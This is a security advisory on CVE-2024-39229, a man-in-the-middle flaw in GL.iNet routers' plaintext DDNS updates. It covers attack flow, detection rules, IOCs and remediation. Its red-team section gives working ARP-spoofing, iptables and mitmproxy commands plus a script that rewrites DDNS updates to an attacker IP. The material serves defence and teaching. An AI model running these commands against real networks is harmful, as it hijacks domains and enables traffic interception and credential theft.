CVE-2024-39229
Executive Summary
CVE-2024-39229 exposes a critical Man-in-the-Middle (MitM) vulnerability in multiple GL.iNet router models. The flaw resides in the Dynamic DNS (DDNS) client implementation, which fails to enforce proper TLS certificate validation or encryption when reporting data to the DDNS server. An attacker on the same network segment can intercept, modify, or replay DDNS update traffic, potentially redirecting legitimate domain names to malicious IP addresses. This can lead to persistent traffic interception, credential theft, and further compromise of devices behind the router.
Affected Models & Firmware Versions:
- AR750, AR750S, AR300M, AR300M16, MT300N-V2, B1300, MT1300, SFT1200, X750: v4.3.11
- MT3000, MT2500, AXT1800, AX1800, A1300, X300B: v4.5.16
- XE300: v4.3.16
- E750: v4.3.12
- AP1300, S1300: v4.3.13
- XE3000, X3000: v4
- B2200, MV1000, MV1000W, USB150, N300, SF1200: v3.216
Impact: Successful exploitation allows an attacker to perform DNS poisoning, redirect traffic, and intercept sensitive data. Given the router's role as a network gateway, this vulnerability poses a high risk to all connected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on impact and attack vector)
Estimated CVSS Vector (if assigned): CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
- Attack Vector (AV): Adjacent Network (attacker must be on the same network segment)
- Attack Complexity (AC): Low (no special conditions required)
- Privileges Required (PR): None
- User Interaction (UI): None
- Scope (S): Changed (compromise of DDNS affects external services)
- Confidentiality (C): High (traffic interception)
- Integrity (I): High (DNS redirection)
- Availability (A): None
EPSS Score: 0.0% (low exploitation probability currently, but expected to rise)
Deep Dive & Mechanics
The vulnerability stems from the DDNS client's failure to validate the server's TLS certificate or use encrypted channels. When the router sends DDNS update requests (e.g., to update an A record), the communication is sent in cleartext or with weak encryption. An attacker performing ARP spoofing or DNS spoofing can intercept these requests, modify the IP address being reported, and forward the tampered data to the legitimate DDNS server. The server then updates the DNS record to point to the attacker's IP, effectively hijacking the domain.
Attack Flow:
- Attacker gains access to the same LAN as the GL.iNet router (e.g., via compromised IoT device or open Wi-Fi).
- Attacker performs ARP spoofing to become a man-in-the-middle between the router and the internet.
- Router sends DDNS update (e.g.,
GET /update?hostname=example.com&myip=192.168.1.100). - Attacker intercepts the request, changes
myipto their own IP (e.g.,203.0.113.5). - Attacker forwards the modified request to the DDNS server.
- DDNS server updates the DNS record for
example.comto point to203.0.113.5. - All traffic intended for
example.comis now routed to the attacker's server, enabling phishing, credential harvesting, or malware delivery.
Root Cause: Lack of TLS certificate validation and use of plain HTTP for DDNS updates.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Example of vulnerable DDNS client logic
import requests
def update_ddns(hostname, myip):
url = f"http://ddns.example.com/update?hostname={hostname}&myip={myip}"
response = requests.get(url) # No HTTPS, no certificate validation
return response.text
Patched Code (Conceptual):
# Example of patched DDNS client logic
import requests
def update_ddns(hostname, myip):
url = f"https://ddns.example.com/update?hostname={hostname}&myip={myip}"
response = requests.get(url, verify=True) # Enforce HTTPS and certificate validation
return response.text
Key Differences:
- Use of
https://instead ofhttp:// verify=Trueensures the server's TLS certificate is validated- Additional checks (e.g., certificate pinning) may be implemented
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Attacker machine on the same LAN as the target GL.iNet router
- Tools:
arpspoof,mitmproxy,python3,scapy
Step-by-Step Exploitation:
Enable IP forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forwardPerform ARP spoofing:
arpspoof -i eth0 -t <router_ip> <gateway_ip> arpspoof -i eth0 -t <gateway_ip> <router_ip>Set up mitmproxy to intercept and modify DDNS requests:
# mitmproxy script: ddns_intercept.py from mitmproxy import http def request(flow: http.HTTPFlow) -> None: if "ddns.example.com" in flow.request.pretty_host: if "myip=" in flow.request.url: # Replace with attacker's IP flow.request.url = flow.request.url.replace("myip=192.168.1.100", "myip=203.0.113.5") print(f"[+] Modified DDNS request: {flow.request.url}")Run mitmproxy in transparent mode:
mitmproxy --mode transparent --listen-port 8080 --script ddns_intercept.pyRedirect HTTP traffic to mitmproxy using iptables:
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080Wait for the router to send a DDNS update. The attacker's IP will be registered.
Blue Team (Defender)
Detection Steps:
Monitor ARP tables: Look for multiple MAC addresses claiming the same IP.
arp -a | grep -i "duplicate"Check for unusual DNS records: Query the DDNS domain and compare the resolved IP with the expected router WAN IP.
nslookup example.comInspect network traffic for plaintext DDNS updates:
tcpdump -i eth0 -A 'host ddns.example.com and port 80'Verify TLS usage: Ensure all DDNS updates use HTTPS.
tcpdump -i eth0 -A 'host ddns.example.com and port 443'Enable router logging: Check for unexpected ARP or DNS changes.
Indicators of Compromise (IOCs)
Network IOCs:
- Plaintext HTTP requests to DDNS servers (port 80)
- ARP replies with multiple MAC addresses for the same IP
- DNS responses pointing to unexpected IP addresses for known domains
- Unusual traffic patterns from the router to external IPs on port 80
Host IOCs:
- Modified
/etc/hostsfile on the router (if accessible) - Unauthorized processes running
arpspooformitmproxyon the network - Router logs showing repeated ARP cache updates
File IOCs:
/tmp/ddns_update.logcontaining plaintext credentials (if logging enabled)/etc/config/ddnswithoption use_https '0'(vulnerable configuration)
Detection Engineering
YARA Rule
rule CVE_2024_39229_GLiNet_DDNS_MitM {
meta:
description = "Detects plaintext DDNS update requests from GL.iNet routers"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-39229"
strings:
$ddns_http = "http://ddns" ascii wide nocase
$myip_param = "myip=" ascii wide nocase
$hostname_param = "hostname=" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: GL.iNet DDNS Man-in-the-Middle Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects plaintext DDNS update requests from GL.iNet routers indicating potential MitM
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_port: 80
http.url|contains:
- "ddns"
- "myip="
- "hostname="
condition: selection
falsepositives:
- Legitimate DDNS updates over HTTP (if configured)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2024-39229 GL.iNet DDNS MitM Attempt"; flow:to_server; content:"ddns"; http_uri; content:"myip="; http_uri; content:"hostname="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable DDNS on affected routers until a patch is released.
- Use a VPN for all outbound traffic to encrypt communications.
- Implement network segmentation to isolate IoT devices from critical systems.
Long-term Fixes:
- Vendor Patch: GL.iNet must release firmware updates that enforce HTTPS with certificate validation for all DDNS communications.
- Configuration Hardening: Set
option use_https '1'in/etc/config/ddnsif the firmware supports it. - Monitor for Updates: Regularly check GL.iNet's security advisory page for patches.
Workarounds:
- Use a third-party DDNS service that supports HTTPS and certificate pinning.
- Implement a local DNS server (e.g., Pi-hole) to override DDNS updates.
Detection & Response:
- Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Enable logging on the router and monitor for ARP spoofing or unusual DNS changes.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.